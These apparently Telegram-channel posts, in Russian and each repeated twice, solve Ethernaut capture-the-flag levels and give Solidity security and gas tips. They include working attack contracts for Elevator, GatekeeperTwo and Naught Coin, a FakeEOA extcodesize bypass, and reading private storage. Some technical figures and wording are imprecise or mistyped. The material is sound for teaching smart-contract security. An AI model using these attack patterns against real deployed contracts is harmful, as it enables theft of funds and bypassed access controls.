Ethernaut. Задача 11. Elevator
В этой задаче нам предлагают достичь последнего этажа.
Ссылка на задачу
В чем суть?
Признаться честно, я вообще не понял ни сути этой задачи, ни цели обучения, ни решения. Поэтому решение для нее было просто взято из поиска.
contract Hack {
Elevator challenge;
constructor (address _challenge) public {
challenge = Elevator(_challenge);
}
uint256 timesCalled;
function attack() external payable {
challenge.goTo(0);
}
function isLastFloor(uint256 /* floor */) external returns (bool) {
timesCalled++;
if (timesCalled > 1) return true;
else return false;
}
}
Да, я посмотрел и другие решение, но все равно очень странная задача. Возможно, вернусь к ней еще раз немного позже.
!!! Комментарий от участника Nekto проливает свет на эту задачу:
Логика контракта (Elevator) рассчитывает, что этот контракт будет вызываться из контракта Building в котором есть частичка логики и эта логика (в Building) запрещает нам подняться на последний этаж в Elevator
Мы создаем другой контракт, похожий по интерфейсу на контракт Building и в поддельном контракте меняем логику, от которой зависит контракт Elevator и попадаем на последний этаж.
Короче не рассчитывайте на логику в других контрактах без дополнительных мер предосторожности.
#ethernaut
В этой задаче нам предлагают достичь последнего этажа.
Ссылка на задачу
В чем суть?
Признаться честно, я вообще не понял ни сути этой задачи, ни цели обучения, ни решения. Поэтому решение для нее было просто взято из поиска.
contract Hack {
Elevator challenge;
constructor (address _challenge) public {
challenge = Elevator(_challenge);
}
uint256 timesCalled;
function attack() external payable {
challenge.goTo(0);
}
function isLastFloor(uint256 /* floor */) external returns (bool) {
timesCalled++;
if (timesCalled > 1) return true;
else return false;
}
}
Да, я посмотрел и другие решение, но все равно очень странная задача. Возможно, вернусь к ней еще раз немного позже.
!!! Комментарий от участника Nekto проливает свет на эту задачу:
Логика контракта (Elevator) рассчитывает, что этот контракт будет вызываться из контракта Building в котором есть частичка логики и эта логика (в Building) запрещает нам подняться на последний этаж в Elevator
Мы создаем другой контракт, похожий по интерфейсу на контракт Building и в поддельном контракте меняем логику, от которой зависит контракт Elevator и попадаем на последний этаж.
Короче не рассчитывайте на логику в других контрактах без дополнительных мер предосторожности.
#ethernaut
👍1
Ethernaut. Задача 12. Privacy
В этой задаче нам нужно получить доступ к ключу в массиве data.
Ссылка на задачу
В чем суть?
Мне нравятся такие задачи на работу с памятью. Этот пример очень похож на один из предыдущих - Vault, но с большим количеством переменных.
Тут нужно знать несколько моментов о работе с памятью. Пройдемся по переменным в задаче.
bool public locked - булевы переменные в Solidity занимают весь слот памяти в 32 байта.
uint256 public ID - 256 и есть те же 32 байта, поэтому занимается еще один целый слот памяти.
Далее немного интереснее. Тут сразу три переменные (uint8 private flattening, uint8 private denomination, uint16 private awkwardness) занимают весь слот на 32 байта. Это происходит потому, что они идут друг за другом.
Если, например, один unit8 лежал бы где-нибудь после массива, то в слот поместились бы только один uin8 и uint16, которые находятся вместе. Поэтому при написании смарт контрактов, вам стоит обращать на это внимание и располагать небольшие переменные рядом друг с другом.
Затем идет нужный нам массив с фиксированной длиной bytes32[3] private data. Из функции unlock() нам становится понятно, что ключ лежит в последнем значении массива.
Если разбить все по слотам памяти, то получается:
bool public locked - 0 слот;
uint256 public ID - 1 слот;
uint8 private flattening, uint8 private denomination, uint16 private awkwardness - 2 слот;
1 элемент массива data - 3 слот;
2 элемент массива data - 4 слот;
3 элемент массива data - 5 слот;
А дальше, все как в примере с Vault: разворачиваем контракт в hardhat и достаем значение из 5 слота при помощи ethers.provider.getStorageAt().
#ethernaut
В этой задаче нам нужно получить доступ к ключу в массиве data.
Ссылка на задачу
В чем суть?
Мне нравятся такие задачи на работу с памятью. Этот пример очень похож на один из предыдущих - Vault, но с большим количеством переменных.
Тут нужно знать несколько моментов о работе с памятью. Пройдемся по переменным в задаче.
bool public locked - булевы переменные в Solidity занимают весь слот памяти в 32 байта.
uint256 public ID - 256 и есть те же 32 байта, поэтому занимается еще один целый слот памяти.
Далее немного интереснее. Тут сразу три переменные (uint8 private flattening, uint8 private denomination, uint16 private awkwardness) занимают весь слот на 32 байта. Это происходит потому, что они идут друг за другом.
Если, например, один unit8 лежал бы где-нибудь после массива, то в слот поместились бы только один uin8 и uint16, которые находятся вместе. Поэтому при написании смарт контрактов, вам стоит обращать на это внимание и располагать небольшие переменные рядом друг с другом.
Затем идет нужный нам массив с фиксированной длиной bytes32[3] private data. Из функции unlock() нам становится понятно, что ключ лежит в последнем значении массива.
Если разбить все по слотам памяти, то получается:
bool public locked - 0 слот;
uint256 public ID - 1 слот;
uint8 private flattening, uint8 private denomination, uint16 private awkwardness - 2 слот;
1 элемент массива data - 3 слот;
2 элемент массива data - 4 слот;
3 элемент массива data - 5 слот;
А дальше, все как в примере с Vault: разворачиваем контракт в hardhat и достаем значение из 5 слота при помощи ethers.provider.getStorageAt().
#ethernaut
👍1
Подсказки по безопасности - 4
Использовать фиксированные лимиты газа не рекомендуется.
Так как цена на газ постоянно меняется, особенно в период высокой волатильности криптовалют, лучше не указывать жесткие лимиты на газ в своем контракте.
В случае резкого повышения цены, есть большая вероятность, что транзакции не будут выполнены.
#security #tip #st
Использовать фиксированные лимиты газа не рекомендуется.
Так как цена на газ постоянно меняется, особенно в период высокой волатильности криптовалют, лучше не указывать жесткие лимиты на газ в своем контракте.
В случае резкого повышения цены, есть большая вероятность, что транзакции не будут выполнены.
#security #tip #st
👍1
Подсказки по безопасности - 6
Pragma и версии Solidity.
Использование последних версий Solidity позволяет избегать ошибок и багов, которые встречались в более ранних версиях.
Также нужно обращать внимание на то, чтобы все контракты, которые связаны друг с другом, работали с одной и той же версией языка.
При деплое смарт контрактов рекомендуется блокировать версию pragma (убирать значок ^), для избегания загрузки не правильным компилятором (выше или ниже версии вашего контракта).
#security #tip #st
Pragma и версии Solidity.
Использование последних версий Solidity позволяет избегать ошибок и багов, которые встречались в более ранних версиях.
Также нужно обращать внимание на то, чтобы все контракты, которые связаны друг с другом, работали с одной и той же версией языка.
При деплое смарт контрактов рекомендуется блокировать версию pragma (убирать значок ^), для избегания загрузки не правильным компилятором (выше или ниже версии вашего контракта).
#security #tip #st
👍1
Ethernaut. Задача 14. Gatekeeper 2
Отступление. Чем больше я разбираю задачи, тем яснее понимаю, что еще многого не знаю. Поэтому некоторые задачи я сейчас пропущу и вернусь к ним, как пройду остальные. Например, с gatekeeper 1 я вчера долго возился, разобрал, но не понял как объяснить ее, и значит "не понял".
Но вернемся к Gatekeeper 2.
В этой задаче нам нужно пройти через все проверки, чтобы наш адрес записался в переменную entrant.
Ссылка на задачу
В чем суть?
Первые два модификатора пройти достаточно просто. GateOne - сделан по примеру задачи Telephone, а gateTwo, с его "ужасным" assembly {x := extcodesize(caller())} - просит, чтобы байткод нашего контракта был равен 0, что бывает в том случае, если там нет никаких функций. Кстати, на extcodesize нельзя полагаться в вопросе безопасности! Не делайте так!
С обоими "воротами" мы можем справиться, вызвав constructor в нашем контракте на GatekeeperTwo.
С третьими воротами сложнее.
Требуется выполнить равенство:
uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == uint64(0) - 1
Т.е. мы берем адрес вызывающего функцию, кодируем, получаем хеш через keccac256, потом берем первые 8 байтов. Все это оборачиваем в uint64 и... Приводим к равенству.
Но, что обозначает эта каретка "^". И тут, если не знаешь, то не пройдешь дальше.
А означает она - XOR, или сложение по модулю 2, или исключающее "или". Звучит замысловато, но по сути это побитовое сложение, когда отдельные разряды складываются независимо от других. Например, у нас есть такой порядок бит:
010101
И нужно сложить его с этим
101101
У нас получится:
111000
т.е. "1+1"= 0, "1+0"=1, "0+0"=0.
Самое интересное, что, если мы сложим результат, например со вторым значением, то получим первое. Это мы и должны использовать в задаче.
Получается, что:
uint64(_gateKey) будет равен
uint64(bytes8(keccak256(abi.encodePacked(address(this))))) ^ uint64(0) - 1
Отсюда мы можем получить итоговый контракт для взлома:
contract Hack {
constructor (GatekeeperTwo _gates ) {
bytes8 key;
unchecked {
key = bytes8(uint64(bytes8(keccak256(abi.encodePacked(address(this))))) ^ uint64(0) - 1);
}
_gates.enter(key);
}
}
P.S. unchecked нужен для Solidity 0.8, для защиты от overflow в uint64(0) - 1.
Задача может показаться сложной, если не знаешь про эти побитовые операции. А сколько людей вообще про них знает?!
#ethernaut
Отступление. Чем больше я разбираю задачи, тем яснее понимаю, что еще многого не знаю. Поэтому некоторые задачи я сейчас пропущу и вернусь к ним, как пройду остальные. Например, с gatekeeper 1 я вчера долго возился, разобрал, но не понял как объяснить ее, и значит "не понял".
Но вернемся к Gatekeeper 2.
В этой задаче нам нужно пройти через все проверки, чтобы наш адрес записался в переменную entrant.
Ссылка на задачу
В чем суть?
Первые два модификатора пройти достаточно просто. GateOne - сделан по примеру задачи Telephone, а gateTwo, с его "ужасным" assembly {x := extcodesize(caller())} - просит, чтобы байткод нашего контракта был равен 0, что бывает в том случае, если там нет никаких функций. Кстати, на extcodesize нельзя полагаться в вопросе безопасности! Не делайте так!
С обоими "воротами" мы можем справиться, вызвав constructor в нашем контракте на GatekeeperTwo.
С третьими воротами сложнее.
Требуется выполнить равенство:
uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == uint64(0) - 1
Т.е. мы берем адрес вызывающего функцию, кодируем, получаем хеш через keccac256, потом берем первые 8 байтов. Все это оборачиваем в uint64 и... Приводим к равенству.
Но, что обозначает эта каретка "^". И тут, если не знаешь, то не пройдешь дальше.
А означает она - XOR, или сложение по модулю 2, или исключающее "или". Звучит замысловато, но по сути это побитовое сложение, когда отдельные разряды складываются независимо от других. Например, у нас есть такой порядок бит:
010101
И нужно сложить его с этим
101101
У нас получится:
111000
т.е. "1+1"= 0, "1+0"=1, "0+0"=0.
Самое интересное, что, если мы сложим результат, например со вторым значением, то получим первое. Это мы и должны использовать в задаче.
Получается, что:
uint64(_gateKey) будет равен
uint64(bytes8(keccak256(abi.encodePacked(address(this))))) ^ uint64(0) - 1
Отсюда мы можем получить итоговый контракт для взлома:
contract Hack {
constructor (GatekeeperTwo _gates ) {
bytes8 key;
unchecked {
key = bytes8(uint64(bytes8(keccak256(abi.encodePacked(address(this))))) ^ uint64(0) - 1);
}
_gates.enter(key);
}
}
P.S. unchecked нужен для Solidity 0.8, для защиты от overflow в uint64(0) - 1.
Задача может показаться сложной, если не знаешь про эти побитовые операции. А сколько людей вообще про них знает?!
#ethernaut
❤1
Логические побитовые операции
Я встречал уже несколько примеров с побитовым кодом, поэтому решил сделать небольшой пост об этом. Возможно, кому-то он тоже будет полезен.
Побитовое И - символ &
Побитовое И используется для выключения битов. Любой бит, установленный в 0, вызывает установку соответствующего бита результата также в 0.
11001010
11100010
11000010
Побитовое ИЛИ - символ |
Побитовое ИЛИ используется для включения битов. Любой бит, установленный в 1, вызывает установку соответствующего бита результата также в 1.
11001010
11100010
11101010
Побитовое НЕ - символ ~
Побитовое НЕ инвертирует состояние каждого бита исходной переменной.
11001010
00110101
Побитовое исключающее ИЛИ - символ ^
Исключающее ИЛИ устанавливает значение бита результата в 1, если значения в соответствующих битах исходных переменных различны.
11001010
11100010
00101000
Побитовые сдвиги
Операторы сдвига << и >> сдвигают биты в переменной влево или вправо на указанное число. При этом на освободившиеся позиции устанавливаются нули (кроме сдвига вправо отрицательного числа, в этом случае на свободные позиции устанавливаются единицы, так как числа представляются в двоичном дополнительном коде и необходимо поддерживать знаковый бит).
Сдвиг влево может применяться для умножения числа на два, сдвиг вправо — для деления.
x = 7 // 00000111 (7)
x = x >> 1 // 00000011 (3)
x = x << 1 // 00000110 (6)
x = x << 5 // 11000000 (-64)
x = x >> 2 // 11110000 (-16)
#побитовые #бит #операции #сдвиг #xor
Я встречал уже несколько примеров с побитовым кодом, поэтому решил сделать небольшой пост об этом. Возможно, кому-то он тоже будет полезен.
Побитовое И - символ &
Побитовое И используется для выключения битов. Любой бит, установленный в 0, вызывает установку соответствующего бита результата также в 0.
11001010
11100010
11000010
Побитовое ИЛИ - символ |
Побитовое ИЛИ используется для включения битов. Любой бит, установленный в 1, вызывает установку соответствующего бита результата также в 1.
11001010
11100010
11101010
Побитовое НЕ - символ ~
Побитовое НЕ инвертирует состояние каждого бита исходной переменной.
11001010
00110101
Побитовое исключающее ИЛИ - символ ^
Исключающее ИЛИ устанавливает значение бита результата в 1, если значения в соответствующих битах исходных переменных различны.
11001010
11100010
00101000
Побитовые сдвиги
Операторы сдвига << и >> сдвигают биты в переменной влево или вправо на указанное число. При этом на освободившиеся позиции устанавливаются нули (кроме сдвига вправо отрицательного числа, в этом случае на свободные позиции устанавливаются единицы, так как числа представляются в двоичном дополнительном коде и необходимо поддерживать знаковый бит).
Сдвиг влево может применяться для умножения числа на два, сдвиг вправо — для деления.
x = 7 // 00000111 (7)
x = x >> 1 // 00000011 (3)
x = x << 1 // 00000110 (6)
x = x << 5 // 11000000 (-64)
x = x >> 2 // 11110000 (-16)
#побитовые #бит #операции #сдвиг #xor
Ethernaut. Задача 15. Naught Coin
В этой задаче нам нужно вывести все токены со своего баланса.
Ссылка на задачу
В чем суть?
Задача не столько про кодинг, сколько про знание стандарта ERC20. При том, что на функцию transfer() стоит защита по времени в виде модификатора, все равно нам доступны и другие функции контракта ERC20.
В Ремиксе это можно увидеть, сделав деплой. Поэтому нам достаточно вызвать функцию approve() и затем transferFrom() для решения данной задачи. Краткая функция взлома может выглядеть так:
function hack() external{
balance = challenge.balanceOf(myAdd);
challenge.approve(myAdd, balance);
challenge.transferFrom(myAdd, otherAdd, balance);
}
где challenge это объект контракта.
При взломе контрактов, которые используют различные стандарты, сначала нужно изучить сам стандарт, чтобы понять все возможности для транзакций.
#ethernaut
В этой задаче нам нужно вывести все токены со своего баланса.
Ссылка на задачу
В чем суть?
Задача не столько про кодинг, сколько про знание стандарта ERC20. При том, что на функцию transfer() стоит защита по времени в виде модификатора, все равно нам доступны и другие функции контракта ERC20.
В Ремиксе это можно увидеть, сделав деплой. Поэтому нам достаточно вызвать функцию approve() и затем transferFrom() для решения данной задачи. Краткая функция взлома может выглядеть так:
function hack() external{
balance = challenge.balanceOf(myAdd);
challenge.approve(myAdd, balance);
challenge.transferFrom(myAdd, otherAdd, balance);
}
где challenge это объект контракта.
При взломе контрактов, которые используют различные стандарты, сначала нужно изучить сам стандарт, чтобы понять все возможности для транзакций.
#ethernaut
👍1
Ethernaut. Задача 17. Recovery
В этой задаче нам нужно вывести все токены контракта, который был создан, и чей адрес не записан. Другими словами нам нужно восстановить потерянный адрес сгенерированного контракта.
Ссылка на задачу
В чем суть?
Код задачи простой: по сути, нам нужно восстановить адрес и потом вызвать selfdestruct(), чтобы вернуть деньги. Все умещается в одной функции.
Давайте лучше поговорим, как генерируется адрес контракта, чтобы можно было решать подобные задачи в будущем.
Мы не будем углубляться в EVM и его процессы, а разберем базу для задачи.
Итак, есть два способы генерации адреса: старый и новый. Начнем с первого.
В старом способе генерация адреса контракта происходила с помощью данных о номере транзакции / количестве созданный контрактов из Фабрики (nonce) и адресе вызывающего. Также нам потребуется знать, что такое RLP.
Целью RLP (RECURSIVE-LENGTH PREFIX) является кодирование произвольно вложенных массивов двоичных данных. Это основной метод кодирования, используемый для сериализации объектов на исполнительном уровне Ethereum. Подробнее про него можно прочитать тут.
В случае 20 битового адреса RLP будет 0хd6 и 0х94.
Также, в задаче это был первый созданный контракт, поэтому nonce будет равен 1.
Код в Solidity выглядел так:
bytes1(0xd6), bytes1(0x94), address(sender), bytes1(0x01)
Все это нам нужно будет перевести в байткод, затем в хеш => uint265 =>uint160, отсюда получим адрес:
address lostContract = address(uint160(uint256(keccak256(abi.encodePacked(bytes1(0xd6), bytes1(0x94), address(sender), bytes1(0x01))))));
Второй способ генерации адреса связан с opcode Create2, предложенный Виталиком Бутериным (EIP-1014).
Create2 использует другую формулу для генерации:
keccak256( 0xff ++ address ++ salt ++ keccak256(init_code))[12:]
где:
address — адрес смарт-контракта, который будет вызывать CREATE2;
salt — случайное значение;
init_code — байт-код смарт-контракта для развертывания;
Таким образом гарантируется, что адрес, который мы предоставляем пользователю, действительно будет содержать желаемый байт-код.
Функция может выглядеть так:
function getAddress(bytes memory bytecode, uint _salt)
public view returns (address)
{
bytes32 hash = keccak256(
abi.encodePacked(bytes1(0xff), address(this), _salt, keccak256(bytecode))
);
return address(uint160(uint(hash)));
}
Полный пример с кодом можно посмотреть тут.
Я много гуглил по работе EVM и RLP, и мне стоило больших усилий понять, как это работает. Если вы захотите, после всех тем по безопасности, я могу написать отдельный пост про генерацию адресов с разбором RLP.
#ethernaut #generation #address #creat2
В этой задаче нам нужно вывести все токены контракта, который был создан, и чей адрес не записан. Другими словами нам нужно восстановить потерянный адрес сгенерированного контракта.
Ссылка на задачу
В чем суть?
Код задачи простой: по сути, нам нужно восстановить адрес и потом вызвать selfdestruct(), чтобы вернуть деньги. Все умещается в одной функции.
Давайте лучше поговорим, как генерируется адрес контракта, чтобы можно было решать подобные задачи в будущем.
Мы не будем углубляться в EVM и его процессы, а разберем базу для задачи.
Итак, есть два способы генерации адреса: старый и новый. Начнем с первого.
В старом способе генерация адреса контракта происходила с помощью данных о номере транзакции / количестве созданный контрактов из Фабрики (nonce) и адресе вызывающего. Также нам потребуется знать, что такое RLP.
Целью RLP (RECURSIVE-LENGTH PREFIX) является кодирование произвольно вложенных массивов двоичных данных. Это основной метод кодирования, используемый для сериализации объектов на исполнительном уровне Ethereum. Подробнее про него можно прочитать тут.
В случае 20 битового адреса RLP будет 0хd6 и 0х94.
Также, в задаче это был первый созданный контракт, поэтому nonce будет равен 1.
Код в Solidity выглядел так:
bytes1(0xd6), bytes1(0x94), address(sender), bytes1(0x01)
Все это нам нужно будет перевести в байткод, затем в хеш => uint265 =>uint160, отсюда получим адрес:
address lostContract = address(uint160(uint256(keccak256(abi.encodePacked(bytes1(0xd6), bytes1(0x94), address(sender), bytes1(0x01))))));
Второй способ генерации адреса связан с opcode Create2, предложенный Виталиком Бутериным (EIP-1014).
Create2 использует другую формулу для генерации:
keccak256( 0xff ++ address ++ salt ++ keccak256(init_code))[12:]
где:
address — адрес смарт-контракта, который будет вызывать CREATE2;
salt — случайное значение;
init_code — байт-код смарт-контракта для развертывания;
Таким образом гарантируется, что адрес, который мы предоставляем пользователю, действительно будет содержать желаемый байт-код.
Функция может выглядеть так:
function getAddress(bytes memory bytecode, uint _salt)
public view returns (address)
{
bytes32 hash = keccak256(
abi.encodePacked(bytes1(0xff), address(this), _salt, keccak256(bytecode))
);
return address(uint160(uint(hash)));
}
Полный пример с кодом можно посмотреть тут.
Я много гуглил по работе EVM и RLP, и мне стоило больших усилий понять, как это работает. Если вы захотите, после всех тем по безопасности, я могу написать отдельный пост про генерацию адресов с разбором RLP.
#ethernaut #generation #address #creat2
Подсказки по безопасности - 8
С помощью extcodesize мы можем проверить, кто делает вызов функции в нашем контракте: внешний контракт или пользователь. Однако, эту систему можно обмануть, создав пустой контракт с вызовом нужной функции в его конструкторе.
contract OnlyForEOA { ... function setFlag()...}
contract FakeEOA {
constructor(address _a) public {
OnlyForEOA c = OnlyForEOA(_a);
c.setFlag(1);
}
}
В этом случае, хоть вызов будет идти из внешнего контракта, в нашем контракте будет отображаться его пользователь (tx.origin).
#security #tip #st
С помощью extcodesize мы можем проверить, кто делает вызов функции в нашем контракте: внешний контракт или пользователь. Однако, эту систему можно обмануть, создав пустой контракт с вызовом нужной функции в его конструкторе.
contract OnlyForEOA { ... function setFlag()...}
contract FakeEOA {
constructor(address _a) public {
OnlyForEOA c = OnlyForEOA(_a);
c.setFlag(1);
}
}
В этом случае, хоть вызов будет идти из внешнего контракта, в нашем контракте будет отображаться его пользователь (tx.origin).
#security #tip #st
Подсказки по безопасности - 9
Удаление struct в котором есть mapping, не удаляет сам mapping. Это может быть использовано против вас.
struct BalancesStruct{
address owner;
mapping(address => uint) balances;
}
mapping(address => BalancesStruct) public stackBalance;
function remove() internal{
delete stackBalance[msg.sender];
}
В этом случае лучше использовать закрытие struct(lock), а не его удаление.
#security #tip #st
Удаление struct в котором есть mapping, не удаляет сам mapping. Это может быть использовано против вас.
struct BalancesStruct{
address owner;
mapping(address => uint) balances;
}
mapping(address => BalancesStruct) public stackBalance;
function remove() internal{
delete stackBalance[msg.sender];
}
В этом случае лучше использовать закрытие struct(lock), а не его удаление.
#security #tip #st
Оптимизация газа - 1
Компилятор Solidity считывает и выполняет функции по их селектору. Селектор, как мы знаем, располагается в первых четырех байтах сигнатуры функции из хеша kessac256. Например:
function tryThis(uint256 _value, string[] memory _names) external {}
В этом случае:
Сигнатура функции - tryThis(uint256,string[]);
Селектор функции - keccak256(signature) = 0x7f6ca090;
Компилятор Solidity располагает все функции в контракте по их селектору (в порядке hexadecimal) и проходит по каждой из них в тот момент, когда вызвана какая-либо из них. Проход по всем функциям в контракте стоит 22 газа.
Приведем к примеру такие функции:
red() => 2930cf24
white() => a0811074
yellow() => be9faf13
blue() => ed18f0a7
purple() => ed44cd44
green() => f2f1e132
Вызов green() будет стоит на 110 газа больше, чем вызов red(), только потому что она ниже.
Если вы наперед знаете, что какая-либо функция в вашем контракте будет вызываться чаще остальных, то старайтесь располагать ее выше остальных в контракте.
#gas #optimization #hint
Компилятор Solidity считывает и выполняет функции по их селектору. Селектор, как мы знаем, располагается в первых четырех байтах сигнатуры функции из хеша kessac256. Например:
function tryThis(uint256 _value, string[] memory _names) external {}
В этом случае:
Сигнатура функции - tryThis(uint256,string[]);
Селектор функции - keccak256(signature) = 0x7f6ca090;
Компилятор Solidity располагает все функции в контракте по их селектору (в порядке hexadecimal) и проходит по каждой из них в тот момент, когда вызвана какая-либо из них. Проход по всем функциям в контракте стоит 22 газа.
Приведем к примеру такие функции:
red() => 2930cf24
white() => a0811074
yellow() => be9faf13
blue() => ed18f0a7
purple() => ed44cd44
green() => f2f1e132
Вызов green() будет стоит на 110 газа больше, чем вызов red(), только потому что она ниже.
Если вы наперед знаете, что какая-либо функция в вашем контракте будет вызываться чаще остальных, то старайтесь располагать ее выше остальных в контракте.
#gas #optimization #hint
🔥3
Оптимизация газа - 2
Если взглянуть на таблицу стоимости газа, то мы заметим, что вызов переменной в первый раз стоит нам 2100 газа, а во второй - уже 100 газа. Эта разница может стать проблемой, особенно, когда мы работаем с динамическими массивами в циклах. Посмотрите на второй пример на скрине.
Работая с данными внутри функции стоит намного меньше газа, даже с учетом того, что добавились новые строчки кода. В данном примере мы экономим почти 2000 газа!
#gas #optimization #hint
Если взглянуть на таблицу стоимости газа, то мы заметим, что вызов переменной в первый раз стоит нам 2100 газа, а во второй - уже 100 газа. Эта разница может стать проблемой, особенно, когда мы работаем с динамическими массивами в циклах. Посмотрите на второй пример на скрине.
Работая с данными внутри функции стоит намного меньше газа, даже с учетом того, что добавились новые строчки кода. В данном примере мы экономим почти 2000 газа!
#gas #optimization #hint
🔥2
Оптимизация газа - 3
Изменение значения с "0" до любого-другого в сети Эфира стоит 20 000 газа (Gsset), в то время как обнуление значения может возвращает часть газа на баланс (Rsclear). Тут важно отметить, что вернуть можно только 20% от стоимости транзакции, которая превышает 24 000 газа.
Пример 1
У Алисы 10 токенов, а у Боба 0 токенов. Алиса пересылает 5 токенов Бобу. Таким образом баланс Алисы меняется с 10 токенов до 5, а у Боба с 0 до 5. Итого:
У Алисы - 5000 газа + у Боба - 20 000 газа. Всего 25 000 газа за транзакцию.
Пример 2
У Алисы 10 токенов, у Боба - 0. Алиса пересылает все 10 токенов Бобу, и ее баланс обнуляется. Получается:
У Алисы - 5000 газа + у Боба 20 000 газа = 25 000 газа. При этом Алисе вернут 4 800 газа обратно. Итого транзакция у нас выйдет в 20 200 газа.
Очевидно, что второй пример позволяет нам сэкономить немного газа, который может быть потрачен на другие операции в контракте.
#gas #optimization #hint
Изменение значения с "0" до любого-другого в сети Эфира стоит 20 000 газа (Gsset), в то время как обнуление значения может возвращает часть газа на баланс (Rsclear). Тут важно отметить, что вернуть можно только 20% от стоимости транзакции, которая превышает 24 000 газа.
Пример 1
У Алисы 10 токенов, а у Боба 0 токенов. Алиса пересылает 5 токенов Бобу. Таким образом баланс Алисы меняется с 10 токенов до 5, а у Боба с 0 до 5. Итого:
У Алисы - 5000 газа + у Боба - 20 000 газа. Всего 25 000 газа за транзакцию.
Пример 2
У Алисы 10 токенов, у Боба - 0. Алиса пересылает все 10 токенов Бобу, и ее баланс обнуляется. Получается:
У Алисы - 5000 газа + у Боба 20 000 газа = 25 000 газа. При этом Алисе вернут 4 800 газа обратно. Итого транзакция у нас выйдет в 20 200 газа.
Очевидно, что второй пример позволяет нам сэкономить немного газа, который может быть потрачен на другие операции в контракте.
#gas #optimization #hint
Оптимизация газа - 4
Хранение данных в calldata всегда стоит меньше газа, чем хранение в memory. Это с учетом того, что вы будете просто считывать данные в calldata, а не изменять их. Во втором случае, memory более разумный выбор.
#gas #optimization #hint
Хранение данных в calldata всегда стоит меньше газа, чем хранение в memory. Это с учетом того, что вы будете просто считывать данные в calldata, а не изменять их. Во втором случае, memory более разумный выбор.
#gas #optimization #hint
Оптимизация газа - 5
В Solidity существует 4 способа инкремента / декремента числа на 1.
Для каждой задачи используется разный опкод, потому стоимость газа будет слегка отличаться.
#gas #optimization #hint
В Solidity существует 4 способа инкремента / декремента числа на 1.
Для каждой задачи используется разный опкод, потому стоимость газа будет слегка отличаться.
#gas #optimization #hint
👍1
Оптимизация газа - 6
Solidity Optimizer прорабатывает две вещи в смарт контрактах: стоимость деплоя и стоимость вызова функций. Чем меньше "runs" установлено в Оптимизатор, чем меньше будет стоимость деплоя. С другой стороны, чем больше "runs" - тем меньше стоимость вызова функций.
Вы можете сами настраивать количество "runs", чтобы оптимизиваровать стоимость газа конкретно для вашего контракта.
#gas #optimization #hint
Solidity Optimizer прорабатывает две вещи в смарт контрактах: стоимость деплоя и стоимость вызова функций. Чем меньше "runs" установлено в Оптимизатор, чем меньше будет стоимость деплоя. С другой стороны, чем больше "runs" - тем меньше стоимость вызова функций.
Вы можете сами настраивать количество "runs", чтобы оптимизиваровать стоимость газа конкретно для вашего контракта.
#gas #optimization #hint
Оптимизация газа - 7
Функции помеченные как payable потребляют меньше газа, так как для них требуется меньше опкода для проверки, может ли другой контракт пересылать Эфир.
#gas #optimization #hint
Функции помеченные как payable потребляют меньше газа, так как для них требуется меньше опкода для проверки, может ли другой контракт пересылать Эфир.
#gas #optimization #hint
Оптимизация газа - 8
Когда вызову в контракте требуется больше 32kb памяти в одной транзакции, стоимость газа в разы возрастает. Посмотрите на пример.
Стоимость добавление 10 000 uint256 в память больше примерно в 10 раз больше добавления 1000 значений.
При этом стоимость добавления 20 000 значений уже больше в 4 раза стоимости добавления 10 000 uint256.
Чтобы избежать этого, вам стоит разбивать большие данные на более мелкие части и работать прицельно с ними.
#gas #optimization #hint
Когда вызову в контракте требуется больше 32kb памяти в одной транзакции, стоимость газа в разы возрастает. Посмотрите на пример.
Стоимость добавление 10 000 uint256 в память больше примерно в 10 раз больше добавления 1000 значений.
При этом стоимость добавления 20 000 значений уже больше в 4 раза стоимости добавления 10 000 uint256.
Чтобы избежать этого, вам стоит разбивать большие данные на более мелкие части и работать прицельно с ними.
#gas #optimization #hint